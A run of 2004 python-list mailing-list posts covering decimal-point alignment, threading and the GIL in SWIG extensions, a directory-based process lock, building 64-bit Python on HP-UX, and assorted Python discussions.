Unary plus is __pos__ for positive, unary minus is __neg__ for negative.

The unary plus operator, I'm sure, is a holdover from C.  Since the
unary plus operator is a no-op for normal numeric values, I would be
hesitant to use it to mean something else; I'm a firm believer in
careful use of operator overloading, prefering to do so hopefully only
when the meaning is apparent from conventional operator usage.  Since
unary + is a no-op, I don't think it would be a great idea to use it to
mean something vastly different, like "add a fact to the database."  But
to each his own.

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && AIM erikmaxfrancis
\__/ But the system has no wisdom / The Devil split us in pairs
    -- Public Enemy


From aleaxit at yahoo.com  Wed Sep 15 05:43:28 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 15 Sep 2004 11:43:28 +0200
Subject: Align numbers at decimal point
References: <2qqe5vF11pk6jU1@uni-berlin.de>
Message-ID: <1gk5js2.g06uub16kegxdN%aleaxit@yahoo.com>

Enno Middelberg <enno.middelbergREMOVE_ME at csiro.au> wrote:

> I'm sure someone asked this question before, but I can't find the 
> solution on the web or in the groups.
> 
> I want to print out columns of numbers which are aligned at the decimal
> point, eg:
> 
> 123.45
>    3.0
>   65.765486
> 
> I can't find how to do that. I use the following command as a 
> workaround, but it only works when the number of digits after the 
> decimal point is constant:
> 
> print ("%.2f" % reduced_time).rjust(9)
> 
> 
> Is there an easy solution?

Well, first of all you must have all the numbers at hand before you can
print even just one of them, of course -- you can't know how much space
you need on the left until you know what number out of them all needs
most such space.  So, say the numbers are coming from some iterable
all_numbers, just start by accumulating their formatted forms (without
yet any padding), as well as the space each occupies before the decimal
point (since we do know we'll need that information later):

formatted_numbers = []
space_on_the_left = []
for number in all_numbers:
    formatted_string = your_favourite_format % number
    formatted_numbers.append(formatted_string)
    on_the_left = formatted_string.find('.')
    if on_the_left < 0: on_the_left = len(formatted_string)
    space_on_the_left.append(on_the_left)

You might make this part a bit more compact with a couple of clever list
comprehensions, but I think it's more readable when written out this
way.  If you know every formatted string WILL include a period, you
should change the if statement into an assert (or change the call to the
find method into a call to the index method, and remove the following if
statement -- index will raise if it can't find the needle in the
haystack, while find returns -1 in that case).

After this loop you can easily find out how much space you need on the
left for the number that is longest there...:

left_total = max(space_on_the_left)

and now you do have all the info you need to do the printing:

for s, l in zip(formatted_numbers, space_on_the_left):
    padding = ' '*(left_total - l)
    print '%s%s' % (padding, s)

Again, you can of course make this a bit more compact, for example by
computing the padding string contextually to the print statement, but I
think it's clearer and more readable to give 'padding' its own name.

In many cases you can simplify things if you know left_total in advance,
for example you know that the '.' (if any) must always fall exactly on
the 21st column of each row you're printing (meaning you know that no
number will have more than 20 digits before the . -- and even if they're
all shorter you still want to leave that amount of space).  For such a
case, you need only a single loop and no extra memory...:

for number in all_numbers:
    formatted_string = your_favourite_format % number
    on_the_left = formatted_string.find('.')
    if on_the_left < 0: on_the_left = len(formatted_string)
    padding = ' '*(left_total - on_the_left)
    print '%s%s' % (padding, formatted_string)

(once again, you can trade off legibility for compactness, if you wish).


Alex


From 59Bassman at gmail.com  Sun Sep 19 18:41:31 2004
From: 59Bassman at gmail.com (Abe Mathews)
Date: Sun, 19 Sep 2004 18:41:31 -0400
Subject: python is going to die! =(
In-Reply-To: <pan.2004.09.20.19.27.30.753994@jerf.org>
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<pan.2004.09.20.19.27.30.753994@jerf.org>
Message-ID: <9c991c08040919154150f63d34@mail.gmail.com>

There are non-caffeinated brands out there that really do taste just
as good as the high-test.  Really.

I'll be honest, I have little experience with IDE's.  Every time I've
used one it takes me about 5 minutes to be wishing again for Emacs and
a command line to work with.  I'm not a grizzled old veteran; I'm not
as experienced as 99% of this lis,; and I'm probably not much of a
programmer - but - I find I work better with Emacs than an IDE.  So
the fact that there isn't a good IDE available isn't that big of a
deal to me.  Perhaps I don't realize what I'm missing.  Perhaps I'm
better off blissfully ignorant.

As for C# "killing" Python?  I don't think so.  There are still plenty
of folks programming in Fortran (and heck, some still in COBOL) for
crying out loud.  C is still studied, used, and taught, even though
C++ was should have supplanted it.  Maybe at some point Python will
stop being a major development language, but that doesn't mean it's
going to die.

Languages are tools, plain and simple.  You appear to have found a
tool that works better for you in the methods that you prefer to work
under.  That doesn't diminish the usefulness of someone else's
preferred tool.  Just because you like your table saw, that doesn't
mean that the usefulness of my old handsaw is diminished, it just
means we have additional options available.  Options are a GOOD thing.

Abe Mathews


From hercules.rockefeller at springfield.??.us  Thu Sep 30 11:53:23 2004
From: hercules.rockefeller at springfield.??.us (Rembrandt Q Einstein)
Date: Thu, 30 Sep 2004 11:53:23 -0400
Subject: thread execution order
In-Reply-To: <cjh4nb$opt$05$1@news.t-online.com>
References: <cjh1hd$rek$03$1@news.t-online.com>
	<STT6d.25$Za.8@llslave.llan.ll.mit.edu>
	<cjh4nb$opt$05$1@news.t-online.com>
Message-ID: <TZV6d.27$Za.13@llslave.llan.ll.mit.edu>

Axel Mittendorf wrote:
> "Rembrandt Q Einstein" wrote:
> 
>>I wouldn't do this with threads.  I'd use select() or similar to see if
>>the pipe is writable and if it isn't, buffer internally.
> 
> I thought about something like this too, but since I'm not allowed to
> use some kinda timer to write out the pending data I can't it that way.
> Therefor I wondered to use threads.

You don't need a timer.  Just every time your program tries to write, it 
first checks the pipe.  If it can write, it does.  If it can't, it 
buffers until the next time it tries.


From mru at mru.ath.cx  Wed Sep  1 13:04:43 2004
From: mru at mru.ath.cx (=?iso-8859-1?q?M=E5ns_Rullg=E5rd?=)
Date: Wed, 01 Sep 2004 19:04:43 +0200
Subject: Larry Wall & Cults
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<pan.2004.08.29.03.59.02.719953@bar.net>
	<25u2j0d9bfulqljo6d2jbls2v52l1jk3sd@4ax.com>
	<pan.2004.08.30.00.02.19.911327@bar.net>
	<20040830.2227.57577snz@dsl.co.uk> <3jmZc.17355$ni.11047@okepread01>
Message-ID: <yw1xllft3opg.fsf@mru.ath.cx>

Steve Holden <sholden at holdenweb.com> writes:

> Brian {Hamilton Kelly} wrote:
>
>> On Sunday, in article
>>      <pan.2004.08.30.00.02.19.911327 at bar.net> foo at bar.net "Mac"
>>      wrote:
>>
>>>Hmm. No explicit comparison was made, but since the post is a cautionary
>>>tale (well, the post is a rambling mess, but I think it is trying to be a
>>>cautionary tale) I think the comparison is understood.
>> "Cautionary tale"????  Cautionary tale, my arse.
>> The post was the fuckwitted ramblings of a total raving looney; kill
>> the
>> thread (and the original poster) and forget about it.
>>
> Snicker. Definitely the most sensible suggestion I've seen so far.

That would of course make it a cautionary tale.

-- 
M?ns Rullg?rd
mru at mru.ath.cx


From bgabriel at cloudthunder.com  Thu Sep 30 21:24:40 2004
From: bgabriel at cloudthunder.com (Bishara Gabriel)
Date: Thu, 30 Sep 2004 21:24:40 -0400
Subject: Social Analysis and Modeling for Python
In-Reply-To: <sv6u22-r3k.ln1@lairds.us>
References: <415AD6A4.7000400@cloudthunder.com>	<mailman.4096.1096482802.5135.python-list@python.org>	<4abs22-p18.ln1@lairds.us>
	<2s2q4uF1fcanvU1@uni-berlin.de> <sv6u22-r3k.ln1@lairds.us>
Message-ID: <415CB1D8.3020706@cloudthunder.com>

Cameron Laird wrote:

>In article <2s2q4uF1fcanvU1 at uni-berlin.de>, val <val at vtek.com> wrote:
>			.
>			.
>			.
>  
>
>>well, 'If this were my proposal, I'd aim for the far more powerful,'
>>"In addition to conventional wisdom, Python may be considered as
>>a unique *science tool* providing an opportunity (1) *to build models
>>programmatically* - using online experimental data, data-driven
>>techniques, and databases integrated with the models, (2) to keep
>>the models in a dynamic format available for online analysis,
>>testing, and updating.  Such online science/reasoning tools may as well be a
>>unique
>>communication vehicle among scientists speeding up drastically
>>understanding complex/data-intensive phenomena such as genome dynamics,
>>social processes, terror networks, industrial dynamics, etc."
>>
>>
>>
>>    
>>
>
>Hear, hear!  Well-done.
>  
>
As I said, an excellent suggestion indeed.  Unfortunately, we already 
have enough on our plate (as you pointed out) considering the time frame 
and resources allowed to us.  If we had instead applied for a NSF grant 
(three years, large budget) then we would have no problem with asserting 
our ability to utilize *online*-experimental data, to keep the models in 
a dynamic format available for *online* analysis, and so forth.  Our 
limited time and resources will narrow our capabilities in this respect.

If we had a larger team of regular contributors, this might be more 
plausible.  

Thank you for your feedback.

Sincerely,
Bishara Gabriel


From carribeiro at gmail.com  Fri Sep 17 11:02:17 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Fri, 17 Sep 2004 12:02:17 -0300
Subject: up with PyGUI!
In-Reply-To: <m3k6utyn47.fsf@g2ctech.com>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de>
	<m3isaf1xki.fsf@g2ctech.com> <2qvc54F143difU1@uni-berlin.de>
	<m3k6utyn47.fsf@g2ctech.com>
Message-ID: <864d37090409170802238c4adf@mail.gmail.com>

On Fri, 17 Sep 2004 11:40:56 -0300, Jorge Godoy <godoy at ieee.org> wrote:
> People said here we can get that with OpenOffice.org...  I'll try it
> later.  The problem is not the result -- as I think we can get those
> results with SodiPodi, Gimp and other tools in a chain or even
> alone... -- but the effort to get that result.

As far as I know, no open source tool is close to the quality that
professional tools like Adobe Acrobat can give to you. Part of the
problem is economics -- it takes a lot of money to fine tune visual
output, it takes a lot of testing with different media, and a lot of
time to get it right. Another problem is that coders alone can't do
it; you need to have people highly specialized in design theory,
visual perception theory, etc. It's a highly skilled, very well paid
staff. And last, there are patents -- lots of -- in color handling and
anti-aliasing. Adobe holds a number of such patents, as do Apple and
Microsoft, as well as many other companies.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From aleaxit at yahoo.com  Wed Sep 29 09:50:46 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 29 Sep 2004 15:50:46 +0200
Subject: all pairs of items in a list without indexing?
References: <mailman.4028.1096403649.5135.python-list@python.org>
Message-ID: <1gkvo41.aiv2zs4vw5qsN%aleaxit@yahoo.com>

Steven Bethard <steven.bethard at gmail.com> wrote:
   ...
> for i, item1 in enumerate(l):
>     for item2 in l[i+1:]:
>         (item1, item2)
> 
> but that seems like a lot of wasteful list slicing...

Sorry, I don't get it: what's wasteful about it?  Do you mean in terms
of performance?

With slicing:

kallisti:~/cb alex$ python2.4 timeit.py -s'l=range(333)' '[(x,y) for i,x
in enumerate(l) for y in l[i+1:]]'
10 loops, best of 3: 1.43e+05 usec per loop
kallisti:~/cb alex$ python2.4 timeit.py -s'l=range(333)' '[(x,y) for i,x
in enumerate(l) for y in l[i+1:]]'
10 loops, best of 3: 1.41e+05 usec per loop

With xrange(len(...:

kallisti:~/cb alex$ python2.4 timeit.py -s'l=range(333)' '[(l[i],l[j])
for i in xrange(len(l)) for j in xrange(i+1,len(l))]'
10 loops, best of 3: 1.61e+05 usec per loop
kallisti:~/cb alex$ python2.4 timeit.py -s'l=range(333)' '[(l[i],l[j])
for i in xrange(len(l)) for j in xrange(i+1,len(l))]'
10 loops, best of 3: 1.62e+05 usec per loop

You could use itertools.islice(l,i+1,len(l)) instead of l[i+1:], but in
my tests, in this particular case, itertools appears to be slower than
plain old slicing, albeit not by much -- about 1.45 to 1.46 vs plain
slicing's 1.42 or so, and xrange's 1.61 or so.

But maybe you can clarify the 'wasteful' observation better!


Alex


From ml at dynkin.com  Sun Sep 12 22:17:22 2004
From: ml at dynkin.com (George Yoshida)
Date: Mon, 13 Sep 2004 11:17:22 +0900
Subject: Newbie: tuple list confusion.
In-Reply-To: <20040912195529.03437.00000338@mb-m27.aol.com>
References: <20040912195529.03437.00000338@mb-m27.aol.com>
Message-ID: <ci2vu5$10k$1@dojima-n0.hi-ho.ne.jp>

Q852913745 wrote:

> My book states that a=a+b and a+=b are the same, and that different 'types' of
> sequence cannot be joined together.

This is because list's += is implemented to work like list's extend 
method. Change "a += b" with "a.extend(b)". You get the same result. It 
might be counterintuitive, but it is the way '+=' is implemented.

I'll add two pointers. Check them.

* Concatenating a tuple to a list
   http://www.python.org/sf/575536
* list += string??
   http://mail.python.org/pipermail/python-dev/2004-August/048389.html

- george


From peter at engcorp.com  Fri Sep  3 19:14:37 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 03 Sep 2004 19:14:37 -0400
Subject: How to actually write a program?
In-Reply-To: <Pine.LNX.4.44.0409040009270.1122-100000@kleigh.nl>
References: <chano0$1gv$1@sparta.btinternet.com>
	<mailman.2856.1094249153.5135.python-list@python.org>
	<Pine.LNX.4.44.0409040009270.1122-100000@kleigh.nl>
Message-ID: <NcKdnX-iX9f-Z6XcRVn-jQ@powergate.ca>

Peter Kleiweg wrote:

> I have been doing it the hard way, programming C with only
> Emacs, no integrated software development platforms. This makes
> for very efficient and powereful tools, running directly from
> the command line (encouraged by using Linux), but you can only
> go so far.

I disagree.  I do development the same way, after years of
trying out a variety of fancier and fancier GUI IDE RAD
things which in the end primarily served to lock me into
the vendor's tools and didn't really improve my productivity.

Now I do everything with Scite and the command line, with
very rare side trips to use "import pdb; pdb.set_trace()".
That's whether I'm doing GUI work, web work, realtime
embedded software in C or assembly, network programming,
multithreaded stuff, or anything else.

I'm more productive than I've ever been and I haven't yet
found a limit to how far I can go with this combination,
now that I'm using test-driven development and lots of
other practices from XP.

> I started programming twenty years ago, with GW-Basic and
> assembler. Later C, Prolog, Oberon (briefly), PostScript,
> Tcl/Tk, JavaScript, Perl, ELisp, R. For me, the question is not,
> how do I start programming, but how do I become a software
> devellopper. I have peeked at wxPython and Boa Constructor, and
> feel like a beginner, like I know nothing about writing
> software.

My advice to someone starting out, like the OP, or to
someone who has 20 years under his belt is the same.
If you want to be a good software developer, start
to look at the ideas coming out of the agile development
movement, and focus more attention on test-driven
development than on anything else.  It alone will
revolutionize the software industry.

-Peter


From db3l at fitlinxx.com  Thu Sep 30 18:19:05 2004
From: db3l at fitlinxx.com (David Bolen)
Date: 30 Sep 2004 18:19:05 -0400
Subject: One thread freezes my whole application
References: <GGt6d.8022$5O5.6405@news-server.bigpond.net.au>
	<415aa436$0$240$edfadb0f@dread14.news.tele.dk>
	<ETV6d.9689$5O5.8558@news-server.bigpond.net.au>
Message-ID: <ufz4z4cyu.fsf@fitlinxx.com>

Michael Zhang <jianqiz at bigpond.com> writes:

> However, there is a new question (rather than a problem). Since my
> Cmodule is created using SWIG, if there is any change in the original
> C code, I have to run swig again to get new "Cmodule_wrap.c" file, and
> add above two lines into that new wrapper file, then build a new
> module. It's quite uncomfortable during debugging.

One thought - if your wrapping is simple enough, you could make use of
%exception in your .i file to set up a general wrapper that would
release and then re-acquire the GIL around each of the wrapped
functions automatically.  So no need to post-process the SWIG output.

Note that this assumes your C routines aren't going to be calling into
the Python core routines, or back into Python.  In either of those
cases they'd need to re-acquire the GIL before doing so (except for a
very limited number of Python core functions that can be called
without owning the GIL).

>                                                    Is there any way I
> can use to achieve the same goal on Python side code, rather that on C
> extension side? Can I just modify the Python code to release that GIL?
> or Do I have any misunderstading about GIL, say, the concept about GIL
> only applies to C extension rather than Python threading itself?

No, you can't touch the GIL from the Python side.  The GIL is purely a
C-level interpreter construct.  If you have Python code executing it
already by definition owns the GIL and can't release it or else it
wouldn't be allowed to be executing :-) Any GIL management needs to be
done at C level.

-- David


From nigel.king at orthogonsystems.com  Wed Sep 29 17:37:56 2004
From: nigel.king at orthogonsystems.com (Nigel King)
Date: Wed, 29 Sep 2004 22:37:56 +0100
Subject: multiple instance on Unix
In-Reply-To: <415AF802.1080909@bellsouth.net>
References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com>
	<415AF802.1080909@bellsouth.net>
Message-ID: <D3967BB1-125F-11D9-B04E-0003938543A0@orthogonsystems.com>

Jeremy,
I have not explained very well what I wanted.

I had a program that was called randomly by specific emails arriving 
which asked for certain information. If two or more emails arrived 
simultaneously then procmail asked two or more instances of my program 
to run. These instances interfered with one another, so I needed a 
process to stop that from happening. What my son devised was for the 
first to create a directory and run and when finished to delete the 
directory. The subsequent instances could try to create a directory but 
fail in an atomic piece of code. They would sleep for 1 or more seconds 
and then try again. The first of the subsequent instances that tries 
and succeeds stops the others from succeeding.

Now, this works but I wondered whether anybody knew of a more standard 
bit of python code was available for ensuring that only one instance 
was processing. mutex does it for threads but not for instances as I 
understand it.

The specification for a better process would include the ability to 
ensure that the queue was orderly, in other words some sort of FIFO 
would ensure that first served would have been the first to request the 
lock and fail.

Our solution which does not satisfy the previous paragraph.

import os, time
try:
     # This program is not thread safe so we must protect it from being
     # trampled over by another copy
     # pause if another email is being processed for half an hour maximum
     t = time.time()+1800
     locked = True
     while locked and time.time() < t:
         try:
             os.mkdir('instancelck')
             locked = False
             pass
         except :
             time.sleep(1)
             pass
         pass
     # do everything else
     .......
finally :
     os.rmdir('instancelck')
     # Removes the thread locking device so that another copy may run
     pass

The timer was in case for any reason finally did not run successfully 
ever.

Facundo's solution I have not yet studied.

Thanks

Nigel



On 29 Sep 2004, at 18:59, Jeremy Jones wrote:

> Nigel King wrote:
>
>> Hi,
>> I have (my son has!) implemented protection against multiple 
>> instances causing havoc by creating a directory. This fails if it 
>> exists and thus in a single instruction one gets both the acquire and 
>> the test.
>>
>> Windows has it's mutex which solves the problem. Is there any better 
>> version for UNIX.
>>
>> Thanks
>>
>> Nigel King
>>
> Could you explain a little better what you're trying to do?  I'm 
> guessing that you (your son - I'm looking forward to that day, myself 
> ) have multiple Python processes and you want only one process to be 
> able to create a directory?
>
> If so, you could do something like this:
>
> import time
> import os
> waiting_for_lock = 1
>
> while waiting_for_lock:
>    try:
>        os.mkdir('/tmp/foo')
>        waiting_for_lock = 0
>    except OSError:
>        print "could not create directory"
>        time.sleep(1)
> #do whatever you need one and only one process to do...
>
> HTH
>
> Jeremy Jones
>



From davor.beuc at BRISIOVOvestigo.hr  Mon Sep 27 06:55:47 2004
From: davor.beuc at BRISIOVOvestigo.hr (Davor Beuc)
Date: Mon, 27 Sep 2004 12:55:47 +0200
Subject: emacs python-mode bug #1021885
In-Reply-To: <cj8ggc$ihq$1@rzcomm2.rz.tu-bs.de>
References: <cj8ggc$ihq$1@rzcomm2.rz.tu-bs.de>
Message-ID: <cj8rjl$eff$1@sunce.iskon.hr>

Marcio Rosa da Silva wrote:
> Hi!
> 
> I am having some problem with python-emacs mode. I found a bug related 
> to it at sf.net:
> 
> bug #1021885 shell gets set to 'cpython':
> 
> http://sourceforge.net/tracker/?group_id=86916&atid=581349&func=detail&aid=1021885 
> 
> 
> The problem is that when I try to run the script using C-c C-c, I get 
> the following message:
> 
> "Wrong type argument: sequencep, cpython"

If you first start the interpreter with C-c !, the execute-buffer 
function will work.


From alanmk at hotmail.com  Thu Sep  2 08:09:34 2004
From: alanmk at hotmail.com (Alan Kennedy)
Date: Thu, 02 Sep 2004 13:09:34 +0100
Subject: design question
In-Reply-To: <mailman.2760.1094120772.5135.python-list@python.org>
References: <mailman.2760.1094120772.5135.python-list@python.org>
Message-ID: <E%DZc.26366$Z14.8555@news.indigo.ie>

[Ajay]
> I am trying to write an application, say myapp, which does some xml
> processing and then interacts with another application, say app2.
> App2 is in Python and i can't change it.

Show us a couple of simple examples of the type of XML processing you 
need to do.

There may be simple ways to achieve your goals that don't actually 
require an XML parser at run time, or that would be efficient enough 
given a pure python parser/etc. It depends heavily on what type of XML 
processing you're doing.

-- 
alan kennedy
------------------------------------------------------
email alan:              http://xhaus.com/contact/alan


From kendamatej at yahoo.com  Sat Sep 25 16:44:16 2004
From: kendamatej at yahoo.com (Matej Kenda)
Date: 25 Sep 2004 13:44:16 -0700
Subject: 64-bit Python 2.3.latest on HP-UX 11.23: success
Message-ID: <c4f45067.0409251244.74ee1760@posting.google.com>

Hi all,

This message is to let you know that I have successfully compiled the latest
sources from the 2.3 branch on the abovementioned OS using the HP ansiC
compiler version 5.50.

Final status: success, it works fine

---

The procedure:

1. Get the latest sources of 2.3

cvs -z3 -d:pserver:anonymous at cvs.sourceforge.net:/cvsroot/python co -r \
release23-maint python 

2. Install the 64-bit OpenSSH downloaded from HP

3. Run configure script with additional CFLAGS

export CFLAGS="-Ae +DD64 -mt -O0 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
"
./configure --prefix=/usr/local/aCCPython


4. Edit Makefile to add support for 64-bit compilation and turn off
optimisation.

I got the hint to remove the optimisation in the README file. I didn't try
to turn the optimisation on, but it may work with the recent ansiC
compiler.

Diff between the generated Makefile and modified one:

 # Compiler options
-OPT=           -DNDEBUG -O
-BASECFLAGS=
+OPT=           -O0
+BASECFLAGS=    +DD64 -mt
 CFLAGS=                $(BASECFLAGS) $(OPT)
-CPPFLAGS=      -I. -I$(srcdir)/Include
-LDFLAGS=
+CPPFLAGS=      -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -I.
-I$(srcdir)/Include
+LDFLAGS=       +DD64 -mt
-LINKFORSHARED= -Wl,-E -Wl,+s
+LINKFORSHARED= -Wl,-E -Wl,-s +DD64
 # Extra C flags added for building the interpreter object files.
-CFLAGSFORSHARED=
+CFLAGSFORSHARED= +z

5. Edit the pyconfig.h file to enable posix threads

6. Edit the setup.py to avoid using installed 32-bit libraries

Index: setup.py
===================================================================
RCS file: /cvsroot/python/python/dist/src/setup.py,v
retrieving revision 1.171.6.2
diff -u -r1.171.6.2 setup.py
--- setup.py    21 Oct 2003 20:01:21 -0000      1.171.6.2
+++ setup.py    24 Sep 2004 08:16:24 -0000
@@ -591,7 +591,8 @@

         # The standard Unix dbm module:
         if platform not in ['cygwin']:
-            if find_file("ndbm.h", inc_dirs, []) is not None:
+#            if find_file("ndbm.h", inc_dirs, []) is not None:
+            if None is not None:
                 # Some systems have -lndbm, others don't
                 if self.compiler.find_library_file(lib_dirs, 'ndbm'):
                     ndbm_libs = ['ndbm']
@@ -698,7 +699,8 @@
         #
         # You can upgrade zlib to version 1.1.4 yourself by going to
         # http://www.gzip.org/zlib/
-        zlib_inc = find_file('zlib.h', [], inc_dirs)
+#        zlib_inc = find_file('zlib.h', [], inc_dirs)
+        zlib_inc = None
         if zlib_inc is not None:
             zlib_h = zlib_inc[0] + '/zlib.h'
             version = '"0.0.0"'


7. run gmake all install

---

Issues:

1. The following line makes a lot of warnings when compiling, because it
looks like the HP compiler already sets this:

/* Define to activate features from IEEE Stds 1003.1-2001 */
#define _POSIX_C_SOURCE 200112L

2. Shared library extensions for modules

The ELF libraries on HP-UX should have the extension .so. I tries to change
the library extension from .sl to .so. However, the install scrips searched
for files with the .sl extension anyway. I didn't dig deep to solve this
issue, because the library extensions aren't that important for me at this
point.

---

I can send the Makefile and the pyconfig.h that I used to compile
the Python to anyone interested.


Best regards,

Matej

--
Matej Kenda, HERMES SoftLab d.d., Slovenia


From carribeiro at gmail.com  Sat Sep 25 18:31:13 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Sat, 25 Sep 2004 19:31:13 -0300
Subject: up with PyGUI!
In-Reply-To: <18A862E6-0F37-11D9-B926-003065B11E84@leafe.com>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org>
	<2rhjmpF1at3kjU1@uni-berlin.de>
	<864d3709040924070115d9d98a@mail.gmail.com>
	<mailman.3855.1096035438.5135.python-list@python.org>
	<Xns956EDE04B1B03OKB@130.133.1.4>
	<mailman.3907.1096136449.5135.python-list@python.org>
	<Xns956F822D03E24OKB@130.133.1.4>
	<18A862E6-0F37-11D9-B926-003065B11E84@leafe.com>
Message-ID: <864d370904092515311da67bb6@mail.gmail.com>

On Sat, 25 Sep 2004 17:08:49 -0400, Ed Leafe <ed at leafe.com> wrote:
> [... ]The only difference that I can see is yours
> relies on an implicit technique to actually add the objects to their
> container, while mine uses an explicit one.

You are missing the point. There is an important difference between
"imperative" and "declarative". Both are explicit -- the only thing
that is implicit in the declarative version is the way the class
declaration is going to be processed by the metaclass constructor. The
descriptive style is more flexible, because the description can be
passed around to other objects that can use it for anything
imaginable. For example, a database entity descriptor (similar to the
ones implemented in sqlobject) can be passed to the report generator
wizard, or to the form generator wizard. The same form description can
be used with multiple target environments much easier than an
imperative version. It isolates the description of what you want from
the actual implementation for the target environment.

To some extent, the choice between declarative and imperative styles
is a matter of personal taste. But also, it's about how to model
problems using programming languages. There's a reason why some people
use functional or declarative languages instead of imperative ones. As
such, we may be forcing Python's syntactic limits by using it for this
type of stuff. That's why I'm calling this an **experiment**. We need
to have something to work with for some time to check if we are
productive and if we feel comfortablee with the way we're working.

As such, I invite you to try it a little bit, and to see how does it
fit into your programming environment. I'm not in a hurry -- I just
want to do it right and to make something useful. And you can rest
assured that your observations are being taken with the most respect
and interest on my part.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From ml at dynkin.com  Thu Sep 30 23:49:33 2004
From: ml at dynkin.com (George Yoshida)
Date: Fri, 01 Oct 2004 12:49:33 +0900
Subject: SegFault using deque in 2.4b3
In-Reply-To: <mailman.4158.1096594285.5135.python-list@python.org>
References: <cjgvhs$c33$1@lnx107.hrz.tu-darmstadt.de>	<cjhh7l$h9v$1@dojima-n0.hi-ho.ne.jp>	<cjhjht$i9t$1@dojima-n0.hi-ho.ne.jp>
	<mailman.4158.1096594285.5135.python-list@python.org>
Message-ID: <cjik2d$11r1$1@dojima-n0.hi-ho.ne.jp>

Tim Peters wrote:

>>A bit simpler version(narrow the problem).
> 
> ...
> 
> Thanks!  It's more efficient to open a bug report.

OK, I'll try to report to sourceforge once a bug is confirmed.


  George


From peter at engcorp.com  Wed Sep  1 07:29:42 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 01 Sep 2004 07:29:42 -0400
Subject: Script executes script?
In-Reply-To: <mailman.2718.1094034976.5135.python-list@python.org>
References: <c869ac1b.0409010014.4c581fc@posting.google.com>
	<mailman.2718.1094034976.5135.python-list@python.org>
Message-ID: <7Y2dncqabfw1L6jcRVn-gw@powergate.ca>

Vladimir Ivanov wrote:

> import os
> path_to_python = "c:\\Python23\\python.exe"
> path_to_script = "e:\\temp\\test.py"
> os.system(path_to_python + " " + path_to_script)

Ugh.  At least use sys.executable to find the
interpreter if you're going to do it this way.

-Peter


From dperl at rogers.com  Mon Sep 13 23:44:47 2004
From: dperl at rogers.com (Dan Perl)
Date: Tue, 14 Sep 2004 03:44:47 GMT
Subject: directories problem
References: <ci5jf2$t60$1@mughi.cs.ubc.ca>
	<JAs1d.50$znk1.41@news04.bloor.is.net.cable.rogers.com>
	<_66dnRiFcJCGxNvcRVn-pA@powergate.ca>
Message-ID: <POt1d.113$KKl1.10@news04.bloor.is.net.cable.rogers.com>

Many thanks, Peter!  Just like someone in the thread you are mentioning, I 
have to go now and change a few scripts that I have.

And I guess that should give a solution for Lowell also.  In each script 
that's called with os.system( ), get the path of the script (use 
os.path.split) and append the 'config.txt' file (use os.path.join).

Dan

"Peter Hansen" <peter at engcorp.com> wrote in message 
news:_66dnRiFcJCGxNvcRVn-pA at powergate.ca...
> Dan Perl wrote:
>
>> I'm not sure whether this is what Lowell is looking for, but I've been 
>> looking at a similar problem and I would also like to see a solution for 
>> that: can a python script know its own full path name?
>
> See near the end of this thread: 
> http://groups.google.ca/groups?threadm=8089854e.0407070426.2fb90f95%40posting.google.com
>
> Also note that scripts other than the main one can do it even more
> easily: __file__, or if that's not always an absolute path, 
> os.path.abspath(__file__).
>
> -Peter 




From drs at remove-to-send-mail-ecpsoftware.com  Wed Sep  8 00:45:28 2004
From: drs at remove-to-send-mail-ecpsoftware.com (drs)
Date: Wed, 08 Sep 2004 04:45:28 GMT
Subject: lauch browser on remote windows mach from linux python?
References: <chkskn$ug4@odbk17.prod.google.com>
Message-ID: <I7w%c.217930$bp1.133400@twister.nyroc.rr.com>

<gry at ll.mit.edu> wrote in message news:chkskn$ug4 at odbk17.prod.google.com...
> I want to lauch mozilla, running
> on the PC, with the specified URL.

* * *
>
> I can imagine a tiny python daemon running on each PC, listening for a
> connection on a particular port, and reading a URL from it.
> Can it just call os.system('mozilla ...')?
> Or do I have to do some .com or .net thing?

similar to the method you proposed, but using pure python, you might look at
pyro (http://pyro.sourceforge.net).

-d




From mlh at furu.idi.ntnu.no  Thu Sep  9 18:04:41 2004
From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland)
Date: Thu, 9 Sep 2004 22:04:41 +0000 (UTC)
Subject: Standard graph API?
References: <slrncik8tm.4g.mlh@furu.idi.ntnu.no>
	<YssWc.503921$Gx4.282534@bgtnsc04-news.ops.worldnet.att.net>
	<slrnciklv0.e8q.mlh@furu.idi.ntnu.no>
	<eppstein-4A56C8.14042623082004@news.service.uci.edu>
	<vCqZc.4817$w%6.3101@newsread1.news.pas.earthlink.net>
Message-ID: <slrnck1krp.181.mlh@furu.idi.ntnu.no>

In article <vCqZc.4817$w%6.3101 at newsread1.news.pas.earthlink.net>,
Andrew Dalke wrote:
>I've been off-line for a couple months so a bit late
>following up to this thread...

Well, I'm still looking for replies, so... ;)

>I too would like some standard collection of graph
>algorithms, but not necessarily a standard API.

Hm. How would the algorithms work without a standard API?

To clarify, by API I here mean a protocol, i.e. a definition of how a
graph is supposed to behave -- *not* a standard implementation.

>I work with a lot of molecular graphs which means I would prefer
>using names like "atoms" and "bonds" instead of "nodes" and "edges".

Sure -- but unless we have some standard protocol/API, it would be
hard to get the algorithms to work with your graphs...

I've been thinking a bit about the use of object adaptation here; I
